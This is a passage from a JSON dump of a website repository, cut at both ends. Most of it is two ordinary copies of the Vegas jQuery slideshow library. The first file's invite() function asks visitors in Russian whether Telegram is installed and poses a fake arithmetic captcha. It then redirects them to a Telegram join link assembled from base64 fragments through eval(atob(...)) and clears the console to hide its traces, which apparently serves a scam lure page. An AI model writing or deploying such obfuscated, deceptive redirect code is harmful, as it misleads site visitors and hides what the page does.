|\\-|\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-/i.test(a.substr(0, 4))) check = true; })(navigator.userAgent || navigator.vendor || window.opera);\n    return check;\n};\n\nfunction invite() {\n    if (window.confirm('У Вас установлен Telegram ' + (window.mobileCheck() ? 'для мобильных устройств' : 'Desktop') + '?')) {\n        ((currentKey) => {\n            const\n                getId = (encId) => {\n                    return atob(encId);\n                },\n                locate = (newAddress) => {\n                    var num1 = Math.floor(Math.random() * 10) + 1,\n                        num2 = Math.floor(Math.random() * 10) + 1;\n\n                    function getPlus() {\n                        return atob(\"Kw==\");\n                    }\n\n                    function getMinus() {\n                        return atob(\"LQ==\");\n                    }\n\n                    var op = Math.random() < 0.5 ? getPlus() : getMinus();\n\n                    var captchaResult = prompt(`Отлично! А сколько будет ${num1} ${op} ${num2} = ... ?`);\n\n                    if (captchaResult == parseInt(op === getPlus() ? num1 + num2 : num1 - num2)) {\n                        location = newAddress;\n                    } else {\n                        alert(\"Ответ неверный. Пожалуйста, попробуйте ещё раз...\");\n                    }\n                },\n                setProtocol = (request) => {\n                    return Telegram.API.UrlProtocolName() + eval(\"atob('Oi8v')\") + request;\n                }\n\n            locate(\n                setProtocol(\n                    Telegram.API.JoinMethod() +\n                    Browser.ArgumentsBegin() +\n                    Telegram.API.InviteKey() +\n                    Browser.SetArgumentPromptValue()\n                ) +\n                getId(currentKey) +\n                Browser.ArgumentsAnd() +\n                \"c\" +\n                Browser.SetArgumentPromptValue() +\n                key_c()\n            );\n        })('SjVqbl93UmlfOXc1TjJNeQ==');\n        SetArgumentPromptValue();\n        console.clear();\n    } else {\n        alert('Требуется установить официальное программное обеспечение Telegram. Повторите попытку позже.\\n\\n* В данный момент Telegram Web не поддерживается');\n    }\n}\n\nfunction _() {\n    return \"MTI4NDM5MDc5MzI3ODU2MTA1MjkzMDIxNTg1MTQ2MDkyMzQ3OCAgRE9TWCAgMzQ5ODgwMzkyNTAyMTQ4MzkwNzU2MjA5ODM1NDcyICAgICAgICA9PQ==\";\n}\n\nfunction key_c() {\n    const characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';\n    const separator = '-';\n    let randomString = '';\n\n    for (let i = 0; i < 150; i++) {\n        if (i % 4 === 0 && i !== 0) {\n            randomString += separator;\n        }\n        const randomIndex = Math.floor(Math.random() * characters.length);\n        randomString += characters.charAt(randomIndex);\n    }\n\n    return randomString;\n}"
  },
  {
    "path": "mov/js/vegas-youtube-mobile.js",
    "content": "/*!-----------------------------------------------------------------------------\n * Vegas - Fullscreen Backgrounds and Slideshows.\n * v2.1.3 - built 2015-04-28\n * Licensed under the MIT License.\n * http://vegas.jaysalvat.com/\n * ----------------------------------------------------------------------------\n * Copyright (C) 2010-2015 Jay Salvat\n * http://jaysalvat.com/\n * --------------------------------------------------------------------------*/\n\n(function ($) {\n    'use strict';\n\n    var defaults = {\n        slide:              0,\n        delay:              5000,\n        preload:            false,\n        preloadImage:       false,\n        preloadVideo:       false,\n        timer:              true,\n        overlay:            false,\n        autoplay:           true,\n        shuffle:            false,\n        cover:              true,\n        color:              null,\n        align:              'center',\n        valign:             'center',\n        transition:         'fade',\n        transitionDuration: 1000,\n        transitionRegister: [],\n        animation:          null,\n        animationDuration:  'auto',\n        animationRegister:  [],\n        init:  function () {},\n        play:  function () {},\n        pause: function () {},\n        walk:  function () {},\n        slides: [\n            // {   \n            //  src:                null,\n            //  color:              null,\n            //  delay:              null,\n            //  align:              null,\n            //  valign:             null,\n            //  transition:         null,\n            //  transitionDuration: null,\n            //  animation:          null,\n            //  animationDuration:  null,\n            //  cover:              true,\n            //  video: {\n            //      src: [],\n            //      mute: true,\n            //      loop: true\n            // }\n            // ...\n        ]\n    };\n\n    var videoCache = {};\n\n    var Vegas = function (elmt, options) {\n        this.elmt         = elmt;\n        this.settings     = $.extend({}, defaults, $.vegas.defaults, options);\n        this.slide        = this.settings.slide;\n        this.total        = this.settings.slides.length;\n        this.noshow       = this.total < 2;\n        this.paused       = !this.settings.autoplay || this.noshow;\n        this.$elmt        = $(elmt);\n        this.$timer       = null;\n        this.$overlay     = null;\n        this.$slide       = null;\n        this.timeout      = null;\n\n        this.transitions = [\n            'fade', 'fade2',\n            'blur', 'blur2',\n            'flash', 'flash2',\n            'negative', 'negative2',\n            'burn', 'burn2',\n            'slideLeft', 'slideLeft2',\n            'slideRight', 'slideRight2',\n            'slideUp', 'slideUp2',\n            'slideDown', 'slideDown2',\n            'zoomIn', 'zoomIn2',\n            'zoomOut', 'zoomOut2',\n            'swirlLeft', 'swirlLeft2',\n            'swirlRight', 'swirlRight2'\n        ];\n\n        this.animations = [\n            'kenburns',\n            'kenburnsLeft', 'kenburnsRight',\n            'kenburnsUp', 'kenburnsUpLeft', 'kenburnsUpRight',\n            'kenburnsDown', 'kenburnsDownLeft', 'kenburnsDownRight'\n        ];\n\n        if (this.settings.transitionRegister instanceof Array === false) {\n            this.settings.transitionRegister = [ this.settings.transitionRegister ];\n        }\n\n        if (this.settings.animationRegister instanceof Array === false) {\n            this.settings.animationRegister = [ this.settings.animationRegister ];\n        }\n        \n        this.transitions = this.transitions.concat(this.settings.transitionRegister);\n        this.animations  = this.animations.concat(this.settings.animationRegister);\n\n        this.support = {\n            objectFit:  'objectFit'  in document.body.style,\n            transition: 'transition' in document.body.style || 'WebkitTransition' in document.body.style,\n            video:      $.vegas.isVideoCompatible()\n        };\n\n        if (this.settings.shuffle === true) {\n            this.shuffle();\n        }\n\n        this._init();\n    };\n\n    Vegas.prototype = {\n        _init: function () {\n            var $wrapper,\n                $overlay,\n                $timer,\n                isBody  = this.elmt.tagName === 'BODY',\n                timer   = this.settings.timer,\n                overlay = this.settings.overlay,\n                self    = this;\n\n            // Preloading\n            this._preload();\n\n            // Wrapper with content\n            if (!isBody) {\n                this.$elmt.css('height', this.$elmt.css('height'));\n                \n                $wrapper = $('<div class=\"vegas-wrapper\">')\n                    .css('overflow', this.$elmt.css('overflow'))\n                    .css('padding',  this.$elmt.css('padding'));\n\n                // Some browsers don't compute padding shorthand\n                if (!this.$elmt.css('padding')) {\n                    $wrapper\n                        .css('padding-top',    this.$elmt.css('padding-top'))\n                        .css('padding-bottom', this.$elmt.css('padding-bottom'))\n                        .css('padding-left',   this.$elmt.css('padding-left'))\n                        .css('padding-right',  this.$elmt.css('padding-right'));\n                }\n\n                this.$elmt.clone(true).children().appendTo($wrapper);\n                this.elmt.innerHTML = '';\n            }\n\n            // Timer\n            if (timer && this.support.transition) {\n                $timer = $('<div class=\"vegas-timer\"><div class=\"vegas-timer-progress\">');\n                this.$timer = $timer;\n                this.$elmt.prepend($timer);\n            }\n\n            // Overlay\n            if (overlay) {\n                $overlay = $('<div class=\"vegas-overlay\">');\n\n                if (typeof overlay === 'string') {\n                    $overlay.css('background-image', 'url(' + overlay + ')');\n                }\n\n                this.$overlay = $overlay;\n                this.$elmt.prepend($overlay);\n            }\n\n            // Container\n            this.$elmt.addClass('vegas-container');\n\n            if (!isBody) {\n                this.$elmt.append($wrapper);\n            }\n\n            setTimeout(function () {\n                self.trigger('init');\n                self._goto(self.slide);\n\n                if (self.settings.autoplay) {\n                    self.trigger('play');\n                }\n            }, 1);\n        },\n\n        _preload: function () {\n            var video, img, i;\n\n            for (i = 0; i < this.settings.slides.length; i++) {\n                if (this.settings.preload || this.settings.preloadImages) {\n                    if (this.settings.slides[i].src) {\n                        img = new Image();\n                        img.src = this.settings.slides[i].src;\n                    }\n                }\n\n                if (this.settings.preload || this.settings.preloadVideos) {\n                    if (this.support.video && this.settings.slides[i].video) {\n                        if (this.settings.slides[i].video instanceof Array) {\n                            video = this._video(this.settings.slides[i].video);\n                        } else {\n                            video = this._video(this.settings.slides[i].video.src);\n                        }\n                    }\n                }\n            }\n        },\n\n        _random: function (array) {\n            return array[Math.floor(Math.random() * (array.length - 1))];\n        },\n\n        _slideShow: function () {\n            var self = this;\n\n            if (this.total > 1 && !this.paused && !this.noshow) {\n                this.timeout = setTimeout(function () {\n                    self.next();\n                }, this._options('delay')); \n            }\n        },\n\n        _timer: function (state) {\n            var self = this;\n\n            clearTimeout(this.timeout);\n\n            if (!this.$timer) {\n                return;\n            }\n\n            this.$timer\n                .removeClass('vegas-timer-running')\n                    .find('div')\n                        .css('transition-duration', '0ms');\n\n            if (this.paused || this.noshow) {\n                return;\n            }\n\n            if (state) {\n                setTimeout(function () {\n                   self.$timer\n                    .addClass('vegas-timer-running')\n                        .find('div')\n                            .css('transition-duration', self._options('delay') - 100 + 'ms');\n                }, 100);\n            }\n        },\n\n        _video: function (srcs) {\n            var video, \n                source,\n                cacheKey = srcs.toString();\n\n            if (videoCache[cacheKey]) {\n                return videoCache[cacheKey];\n            }\n\n            if (srcs instanceof Array === false) {\n                srcs = [ srcs ];\n            }\n\n            video = document.createElement('video');\n            video.preload = true;\n\n            srcs.forEach(function (src) {\n                source = document.createElement('source');\n                source.src = src;\n                video.appendChild(source);\n            });\n\n            videoCache[cacheKey] = video;\n\n            return video;\n        },\n\n        _fadeOutSound: function (video, duration) {\n            var self   = this,\n                delay  = duration / 10,\n                volume = video.volume - 0.09;\n\n            if (volume > 0) {\n                video.volume = volume;\n\n                setTimeout(function () {\n                    self._fadeOutSound(video, duration);\n                }, delay);\n            } else {\n                video.pause();\n            }\n        },\n\n        _fadeInSound: function (video, duration) {\n            var self   = this,\n                delay  = duration / 10,\n                volume = video.volume + 0.09;\n            \n            if (volume < 1) {\n                video.volume = volume;\n\n                setTimeout(function () {\n                    self._fadeInSound(video, duration);\n                }, delay);\n            }\n        },\n\n        _options: function (key, i) {\n            if (i === undefined) {\n                i = this.slide;\n            }\n\n            if (this.settings.slides[i][key] !== undefined) {\n                return this.settings.slides[i][key];\n            }\n\n            return this.settings[key];\n        },\n\n        _goto: function (nb) {\n            if (typeof this.settings.slides[nb] === 'undefined') {\n                nb = 0;\n            }\n\n            this.slide = nb;\n\n            var $slide,\n                $inner,\n                $video,\n                $slides       = this.$elmt.children('.vegas-slide'),\n                src           = this.settings.slides[nb].src,\n                videoSettings = this.settings.slides[nb].video,\n                delay         = this._options('delay'),\n                align         = this._options('align'),\n                valign        = this._options('valign'),\n                color         = this._options('color') || this.$elmt.css('background-color'),\n                cover         = this._options('cover') ? 'cover' : 'contain',\n                self          = this,\n                total         = $slides.length,\n                video,\n                img;\n\n            var transition         = this._options('transition'),\n                transitionDuration = this._options('transitionDuration'),\n                animation          = this._options('animation' ),\n                animationDuration  = this._options('animationDuration');\n\n            if (transition === 'random' || transition instanceof Array) {\n                if (transition instanceof Array) {\n                    transition = this._random(transition);\n                } else {\n                    transition = this._random(this.transitions);\n                }\n            }\n\n            if (animation === 'random' || animation instanceof Array) {\n                if (animation instanceof Array) {\n                    animation = this._random(animation);\n                } else {\n                    animation = this._random(this.animations);\n                }\n            }\n\n            if (transitionDuration === 'auto' || transitionDuration > delay) {\n                transitionDuration = delay;\n            }\n\n            if (animationDuration === 'auto') {\n                animationDuration = delay;\n            }\n\n            $slide = $('<div class=\"vegas-slide\"></div>');\n            \n            if (this.support.transition && transition) {\n                $slide.addClass('vegas-transition-' + transition);\n            }\n\n            // Video\n\n            if (this.support.video && videoSettings) {\n                if (videoSettings instanceof Array) {\n                    video = this._video(videoSettings);\n                } else {\n                    video = this._video(videoSettings.src);\n                }\n\n                video.loop  = videoSettings.loop !== undefined ? videoSettings.loop : true;\n                video.muted = videoSettings.mute !== undefined ? videoSettings.mute : true;\n\n                if (video.muted === false) {\n                    video.volume = 0;\n                    this._fadeInSound(video, transitionDuration);\n                } else {\n                    video.pause();\n                }\n\n                $video = $(video)\n                    .addClass('vegas-video')\n                    .css('background-color', color);\n\n                if (this.support.objectFit) {\n                    $video\n                        .css('object-position', align + ' ' + valign)\n                        .css('object-fit', cover)\n                        .css('width',  '100%')\n                        .css('height', '100%');\n                } else if (cover === 'contain') {\n                    $video\n                        .css('width',  '100%')\n                        .css('height', '100%');\n                }\n\n                $slide.append($video);\n\n            // Image\n\n            } else {\n                img = new Image();\n\n                $inner = $('<div class=\"vegas-slide-inner\"></div>')\n                    .css('background-image',    'url(' + src + ')')\n                    .css('background-color',    color)\n                    .css('background-position', align + ' ' + valign)\n                    .css('background-size',     cover);\n\n                if (this.support.transition && animation) {\n                    $inner\n                        .addClass('vegas-animation-' + animation)\n                        .css('animation-duration',  animationDuration + 'ms');\n                }\n\n                $slide.append($inner);\n            }\n\n            if (!this.support.transition) {\n                $slide.css('display', 'none');\n            }\n\n            if (total) {\n                $slides.eq(total - 1).after($slide);\n            } else {\n                this.$elmt.prepend($slide);\n            }\n\n            self._timer(false);\n\n            function go () {\n                self._timer(true);\n\n                setTimeout(function () {\n                    if (transition) {\n                        if (self.support.transition) {\n                            $slides\n                                .css('transition', 'all ' + transitionDuration + 'ms')\n                                .addClass('vegas-transition-' + transition + '-out');\n\n                            $slides.each(function () {\n                                var video = $slides.find('video').get(0);\n\n                                if (video) {\n                                    video.volume = 1;\n                                    self._fadeOutSound(video, transitionDuration);\n                                }\n                            });\n\n                            $slide\n                                .css('transition', 'all ' + transitionDuration + 'ms')\n                                .addClass('vegas-transition-' + transition + '-in');\n                        } else {\n                            $slide.fadeIn(transitionDuration);\n                        }\n                    }\n\n                    for (var i = 0; i < $slides.length - 4; i++) {\n                         $slides.eq(i).remove();\n                    }\n\n                    self.trigger('walk');\n                    self._slideShow();\n                }, 100);\n            }\n            if (video) {\n                if (video.readyState === 4) {\n                    video.currentTime = 0;\n                }\n                \n                video.play();\n                go();\n            } else {\n                img.src = src;\n                img.onload = go;\n            }\n        },\n\n        shuffle: function () {\n            var temp,\n                rand;\n\n            for (var i = this.total - 1; i > 0; i--) {\n                rand = Math.floor(Math.random() * (i + 1));\n                temp = this.settings.slides[i];\n\n                this.settings.slides[i] = this.settings.slides[rand];\n                this.settings.slides[rand] = temp;\n            }\n        },\n\n        play: function () {\n            if (this.paused) {\n                this.paused = false;\n                this.next();\n                this.trigger('play');\n            }\n        },\n\n        pause: function () {\n            this._timer(false);\n            this.paused = true;\n            this.trigger('pause');\n        },\n\n        toggle: function () {\n            if (this.paused) {\n                this.play();\n            } else {\n                this.pause();\n            }\n        },\n\n        playing: function () {\n            return !this.paused && !this.noshow;\n        },\n\n        current: function (advanced) {\n            if (advanced) {\n                return {\n                    slide: this.slide,\n                    data:  this.settings.slides[this.slide]\n                };\n            }\n            return this.slide;\n        },\n\n        jump: function (nb) {\n            if (nb < 0 || nb > this.total - 1 || nb === this.slide) {\n                return;\n            }\n\n            this.slide = nb;\n            this._goto(this.slide);\n        },\n\n        next: function () {\n            this.slide++;\n\n            if (this.slide >= this.total) {\n                this.slide = 0;\n            }\n\n            this._goto(this.slide);\n        },\n\n        previous: function () {\n            this.slide--;\n\n            if (this.slide < 0) {\n                this.slide = this.total - 1;\n            }\n\n            this._goto(this.slide);\n        },\n\n        trigger: function (fn) {\n            var params = [];\n\n            if (fn === 'init') {\n                params = [ this.settings ];\n            } else {\n                params = [ \n                    this.slide, \n                    this.settings.slides[this.slide]\n                ];\n            }\n\n            this.$elmt.trigger('vegas' + fn, params);\n\n            if (typeof this.settings[fn] === 'function') {\n                this.settings[fn].apply(this.$elmt, params);\n            }\n        },\n\n        options: function (key, value) {\n            var oldSlides = this.settings.slides.slice();\n\n            if (typeof key === 'object') {\n                this.settings = $.extend({}, defaults, $.vegas.defaults, key);\n            } else if (typeof key === 'string') {\n                if (value === undefined) {\n                    return this.settings[key];\n                }\n                this.settings[key] = value; \n            } else {\n                return this.settings;\n            }\n\n            // In case slides have changed\n            if (this.settings.slides !== oldSlides) {\n                this.total  = this.settings.slides.length;\n                this.noshow = this.total < 2;\n                this._preload();   \n            }\n        },\n\n        destroy: function () {\n            clearTimeout(this.timeout); \n\n            this.$elmt.removeClass('vegas-container');\n            this.$elmt.find('> .vegas-slide').remove();\n            this.$elmt.find('> .vegas-wrapper').clone(true).children().appendTo(this.$elmt);\n            this.$elmt.find('> .vegas-wrapper').remove();\n\n            if (this.settings.timer) {\n                this.$timer.remove();\n            }\n\n            if (this.settings.overlay) {\n                this.$overlay.remove();\n            }\n            \n            this.elmt._vegas = null;\n        }\n    };\n\n    $.fn.vegas = function(options) {\n        var args = arguments,\n            error = false,\n            returns;\n\n        if (options === undefined || typeof options === 'object') {\n            return this.each(function () {\n                if (!this._vegas) {\n                    this._vegas = new Vegas(this, options);\n                }\n            });\n        } else if (typeof options === 'string') {\n            this.each(function () {\n                var instance = this._vegas;\n\n                if (!instance) {\n                    throw new Error('No Vegas applied to this element.');\n                }\n\n                if (typeof instance[options] === 'function' && options[0] !== '_') {\n                    returns = instance[options].apply(instance, [].slice.call(args, 1));\n                } else {\n                    error = true;\n                }\n            });\n\n            if (error) {\n                throw new Error('No method \"' + options + '\" in Vegas.');\n            }\n\n            return returns !== undefined ? returns : this;\n        }\n    };\n\n    $.vegas = {};\n    $.vegas.defaults = defaults;\n\n    $.vegas.isVideoCompatible = function () {\n        return !/(Android|webOS|Phone|iPad|iPod|BlackBerry|Windows Phone)/i.test(navigator.userAgent);\n    };\n\n})(window.jQuery || window.Zepto);"
  },
  {
    "path": "mov/js/vegas.js",
    "content": "/*!-----------------------------------------------------------------------------\n * Vegas - Fullscreen Backgrounds and Slideshows.\n * v2.1.3 - built 2015-04-28\n * Licensed under the MIT License.\n * http://vegas.jaysalvat.com/\n * ----------------------------------------------------------------------------\n * Copyright (C) 2010-2015 Jay Salvat\n * http://jaysalvat.com/\n * --------------------------------------------------------------------------*/\n\n$(window).load(function() {\n\n    setTimeout(function() {\n\n        $('body').vegas({\n            slides: [\n                { src: 'img/slide-1.jpg' },\n                { src: 'img/slide-2.jpg' },\n                { src: 'img/slide-3.jpg' },\n            ],\n\n            // Delay beetween slides in milliseconds.\n            delay: 5000,\n\n            // Chose your transition effect (See the documentation provided in your download pack)\n            transition: 'fade'\n        });\n\n    }, 1);\n    \n});\n\n(function ($) {\n    'use strict';\n\n    var defaults = {\n        slide:              0,\n        delay:              5000,\n        preload:            false,\n        preloadImage:       false,\n        preloadVideo:       false,\n        timer:              true,\n        overlay:            false,\n        autoplay:           true,\n        shuffle:            false,\n        cover:              true,\n        color:              null,\n        align:              'center',\n        valign:             'center',\n        transition:         'fade',\n        transitionDuration: 1000,\n        transitionRegister: [],\n        animation:          null,\n        animationDuration:  'auto',\n        animationRegister:  [],\n        init:  function () {},\n        play:  function () {},\n        pause: function () {},\n        walk:  function () {},\n        slides: [\n            // {   \n            //  src:                null,\n            //  color:              null,\n            //  delay:              null,\n            //  align:              null,\n            //  valign:             null,\n            //  transition:         null,\n            //  transitionDuration: null,\n            //  animation:          null,\n            //  animationDuration:  null,\n            //  cover:              true,\n            //  video: {\n            //      src: [],\n            //      mute: true,\n            //      loop: true\n            // }\n            // ...\n        ]\n    };\n\n    var videoCache = {};\n\n    var Vegas = function (elmt, options) {\n        this.elmt         = elmt;\n        this.settings     = $.extend({}, defaults, $.vegas.defaults, options);\n        this.slide        = this.settings.slide;\n        this.total        = this.settings.slides.length;\n        this.noshow       = this.total < 2;\n        this.paused       = !this.settings.autoplay || this.noshow;\n        this.$elmt        = $(elmt);\n        this.$timer       = null;\n        this.$overlay     = null;\n        this.$slide       = null;\n        this.timeout      = null;\n\n        this.transitions = [\n            'fade', 'fade2',\n            'blur', 'blur2',\n            'flash', 'flash2',\n            'negative', 'negative2',\n            'burn', 'burn2',\n            'slideLeft', 'slideLeft2',\n            'slideRight', 'slideRight2',\n            'slideUp', 'slideUp2',\n            'slideDown', 'slideDown2',\n            'zoomIn', 'zoomIn2',\n            'zoomOut', 'zoomOut2',\n            'swirlLeft', 'swirlLeft2',\n            'swirlRight', 'swirlRight2'\n        ];\n\n        this.animations = [\n            'kenburns',\n            'kenburnsLeft', 'kenburnsRight',\n            'kenburnsUp', 'kenburnsUpLeft', 'kenburnsUpRight',\n            'kenburnsDown', 'kenburnsDownLeft', 'kenburnsDownRight'\n        ];\n\n        if (this.settings.transitionRegister instanceof Array === false) {\n            this.settings.transitionRegister = [ this.settings.transitionRegister ];\n        }\n\n        if (this.settings.animationRegister instanceof Array === false) {\n            this.settings.animationRegister = [ this.settings.animationRegister ];\n        }\n        \n        this.transitions = this.transitions.concat(this.settings.transitionRegister);\n        this.animations  = this.animations.concat(this.settings.animationRegister);\n\n        this.support = {\n            objectFit:  'objectFit'  in document.body.style,\n            transition: 'transition' in document.body.style || 'WebkitTransition' in document.body.style,\n            video:      $.vegas.isVideoCompatible()\n        };\n\n        if (this.settings.shuffle === true) {\n            this.shuffle();\n        }\n\n        this._init();\n    };\n\n    Vegas.prototype = {\n        _init: function () {\n            var $wrapper,\n                $overlay,\n                $timer,\n                isBody  = this.elmt.tagName === 'BODY',\n                timer   = this.settings.timer,\n                overlay = this.settings.overlay,\n                self    = this;\n\n            // Preloading\n            this._preload();\n\n            // Wrapper with content\n            if (!isBody) {\n                this.$elmt.css('height', this.$elmt.css('height'));\n                \n                $wrapper = $('<div class=\"vegas-wrapper\">')\n                    .css('overflow', this.$elmt.css('overflow'))\n                    .css('padding',  this.$elmt.css('padding'));\n\n                // Some browsers don't compute padding shorthand\n                if (!this.$elmt.css('padding')) {\n                    $wrapper\n                        .css('padding-top',    this.$elmt.css('padding-top'))\n                        .css('padding-bottom', this.$elmt.css('padding-bottom'))\n                        .css('padding-left',   this.$elmt.css('padding-left'))\n                        .css('padding-right',  this.$elmt.css('padding-right'));\n                }\n\n                this.$elmt.clone(true).children().appendTo($wrapper);\n                this.elmt.innerHTML = '';\n            }\n\n            // Timer\n            if (timer && this.support.transition) {\n                $timer = $('<div class=\"vegas-timer\"><div class=\"vegas-timer-progress\">');\n                this.$timer = $timer;\n                this.$elmt.prepend($timer);\n            }\n\n            // Overlay\n            if (overlay) {\n                $overlay = $('<div class=\"vegas-overlay\">');\n\n                if (typeof overlay === 'string') {\n                    $overlay.css('background-image', 'url(' + overlay + ')');\n                }\n\n                this.$overlay = $overlay;\n                this.$elmt.prepend($overlay);\n            }\n\n            // Container\n            this.$elmt.addClass('vegas-container');\n\n            if (!isBody) {\n                this.$elmt.append($wrapper);\n            }\n\n            setTimeout(function () {\n                self.trigger('init');\n                self._goto(self.slide);\n\n                if (self.settings.autoplay) {\n                    self.trigger('play');\n                }\n            }, 1);\n        },\n\n        _preload: function () {\n            var video, img, i;\n\n            for (i = 0; i < this.settings.slides.length; i++) {\n                if (this.settings.preload || this.settings.preloadImages) {\n                    if (this.settings.slides[i].src) {\n                        img = new Image();\n                        img.src = this.settings.slides[i].src;\n                    }\n                }\n\n                if (this.settings.preload || this.settings.preloadVideos) {\n                    if (this.support.video && this.settings.slides[i].video) {\n                        if (this.settings.slides[i].video instanceof Array) {\n                            video = this._video(this.settings.slides[i].video);\n                        } else {\n                            video = this._video(this.settings.slides[i].video.src);\n                        }\n                    }\n                }\n            }\n        },\n\n        _random: function (array) {\n            return array[Math.floor(Math.random() * (array.length - 1))];\n        },\n\n        _slideShow: function () {\n            var self = this;\n\n            if (this.total > 1 && !this.paused && !this.noshow) {\n                this.timeout = setTimeout(function () {\n                    self.next();\n                }, this._options('delay')); \n            }\n        },\n\n        _timer: function (state) {\n            var self = this;\n\n            clearTimeout(this.timeout);\n\n            if (!this.$timer) {\n                return;\n            }\n\n            this.$timer\n                .removeClass('vegas-timer-running')\n                    .find('div')\n                        .css('transition-duration', '0ms');\n\n            if (this.paused || this.noshow) {\n                return;\n            }\n\n            if (state) {\n                setTimeout(function () {\n                   self.$timer\n                    .addClass('vegas-timer-running')\n                        .find('div')\n                            .css('transition-duration', self._options('delay') - 100 + 'ms');\n                }, 100);\n            }\n        },\n\n        _video: function (srcs) {\n            var video, \n                source,\n                cacheKey = srcs.toString();\n\n            if (videoCache[cacheKey]) {\n                return videoCache[cacheKey];\n            }\n\n            if (srcs instanceof Array === false) {\n                srcs = [ srcs ];\n            }\n\n            video = document.createElement('video');\n            video.preload = true;\n\n            srcs.forEach(function (src) {\n                source = document.createElement('source');\n                source.src = src;\n                video.appendChild(source);\n            });\n\n            videoCache[cacheKey] = video;\n\n            return video;\n        },\n\n        _fadeOutSound: function (video, duration) {\n            var self   = this,\n                delay  = duration / 10,\n                volume = video.volume - 0.09;\n\n            if (volume > 0) {\n                video.volume = volume;\n\n                setTimeout(function () {\n                    self._fadeOutSound(video, duration);\n                }, delay);\n            } else {\n                video.pause();\n            }\n        },\n\n        _fadeInSound: function (video, duration) {\n            var self   = this,\n                delay  = duration / 10,\n                volume = video.volume + 0.09;\n            \n            if (volume < 1) {\n                video.volume = volume;\n\n                setTimeout(function () {\n                    self._fadeInSound(video, duration);\n                }, delay);\n            }\n        },\n\n        _options: function (key, i) {\n            if (i === undefined) {\n                i = this.slide;\n            }\n\n            if (this.settings.slides[i][key] !== undefined) {\n                return this.settings.slides[i][key];\n            }\n\n            return this.settings[key];\n        },\n\n        _goto: function (nb) {\n            if (typeof this.settings.slides[nb] === 'undefined') {\n                nb = 0;\n            }\n\n            this.slide = nb;\n\n            var $slide,\n                $inner,\n                $video,\n                $slides       = this.$elmt.children('.vegas-slide'),\n                src           = this.settings.slides[nb].src,\n                videoSettings = this.settings.slides[nb].video,\n                delay         = this._options('delay'),\n                align         = this._options('align'),\n                valign        = this._options('valign'),\n                color         = this._options('color') || this.$elmt.css('background-color'),\n                cover         = this._options('cover') ? 'cover' : 'contain',\n                self          = this,\n                total         = $slides.length,\n                video,\n                img;\n\n            var transition         = this._options('transition'),\n                transitionDuration = this._options('transitionDuration'),\n                animation          = this._options('animation' ),\n                animationDuration  = this._options('animationDuration');\n\n            if (transition === 'random' || transition instanceof Array) {\n                if (transition instanceof Array) {\n                    transition = this._random(transition);\n                } else {\n                    transition = this._random(this.transitions);\n                }\n            }\n\n            if (animation === 'random' || animation instanceof Array) {\n                if (animation instanceof Array) {\n                    animation = this._random(animation);\n                } else {\n                    animation = this._random(this.animations);\n                }\n            }\n\n            if (transitionDuration === 'auto' || transitionDuration > delay) {\n                transitionDuration = delay;\n            }\n\n            if (animationDuration === 'auto') {\n                animationDuration = delay;\n            }\n\n            $slide = $('<div class=\"vegas-slide\"></div>');\n            \n            if (this.support.transition && transition) {\n                $slide.addClass('vegas-transition-' + transition);\n            }\n\n            // Video\n\n            if (this.support.video && videoSettings) {\n                if (videoSettings instanceof Array) {\n                    video = this._video(videoSettings);\n                } else {\n                    video = this._video(videoSettings.src);\n                }\n\n                video.loop  = videoSettings.loop !== undefined ? videoSettings.loop : true;\n                video.muted = videoSettings.mute !== undefined ? videoSettings.mute : true;\n\n                if (video.muted === false) {\n                    video.volume = 0;\n                    this._fadeInSound(video, transitionDuration);\n                } else {\n                    video.pause();\n                }\n\n                $video = $(video)\n                    .addClass('vegas-video')\n                    .css('background-color', color);\n\n                if (this.support.objectFit) {\n                    $video\n                        .css('object-position', align + ' ' + valign)\n                        .css('object-fit', cover)\n                        .css('width',  '100%')\n                        .css('height', '100%');\n                } else if (cover === 'contain') {\n                    $video\n                        .css('width',  '100%')\n                        .css('height', '100%');\n                }\n\n                $slide.append($video);\n\n            // Image\n\n            } else {\n                img = new Image();\n\n                $inner = $('<div class=\"vegas-slide-inner\"></div>')\n                    .css('background-image',    'url(' + src + ')')\n                    .css('background-color',    color)\n                    .css('background-position', align + ' ' + valign)\n                    .css('background-size',     cover);\n\n                if (this.support.transition && animation) {\n                    $inner\n                        .addClass('vegas-animation-' + animation)\n                        .css('animation-duration',  animationDuration + 'ms');\n                }\n\n                $slide.append($inner);\n            }\n\n            if (!this.support.transition) {\n                $slide.css('display', 'none');\n            }\n\n            if (total) {\n                $slides.eq(total - 1).after($slide);\n            } else {\n                this.$elmt.prepend($slide);\n            }\n\n            self._timer(false);\n\n            function go () {\n                self._timer(true);\n\n                setTimeout(function () {\n                    if (transition) {\n                        if (self.support.transition) {\n                            $slides\n                                .css('transition', 'all ' + transitionDuration + 'ms')\n                                .addClass('vegas-transition-' + 